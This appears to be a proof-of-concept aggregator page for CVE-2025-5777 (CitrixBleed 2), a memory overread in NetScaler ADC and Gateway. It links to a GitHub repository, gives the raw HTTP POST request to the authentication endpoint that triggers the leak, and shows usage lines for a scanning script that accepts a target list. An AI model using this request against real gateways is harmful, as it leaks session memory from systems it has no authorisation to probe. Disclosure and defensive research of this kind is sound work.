CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Source

https://github.com/SleepNotF0und/CVE-2025-5777

Associated Vulnerability

Title:NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread (CVE-2025-5777)
Description:Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server

Description

CVE-2025-5777 (CitrixBleed 2) - [Citrix NetScaler ADC] [Citrix Gateway]

Readme

<img width="1549" height="953" alt="8" src="https://github.com/user-attachments/assets/9e41f909-eb16-4a55-ac8c-0068513b7bd7" />

.  

PoC  
```
POST /p/u/doAuthentication.do HTTP/1.1
Host: 167.xxx.xx.x
Content-Length: 5

login
```
.  
The tool verfiy then 20 more requests to exploit.  
.  

Usage:-  
python CVE‑2025‑5777.py <<-URL->>  

python CVE‑2025‑5777.py -l test.txt

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!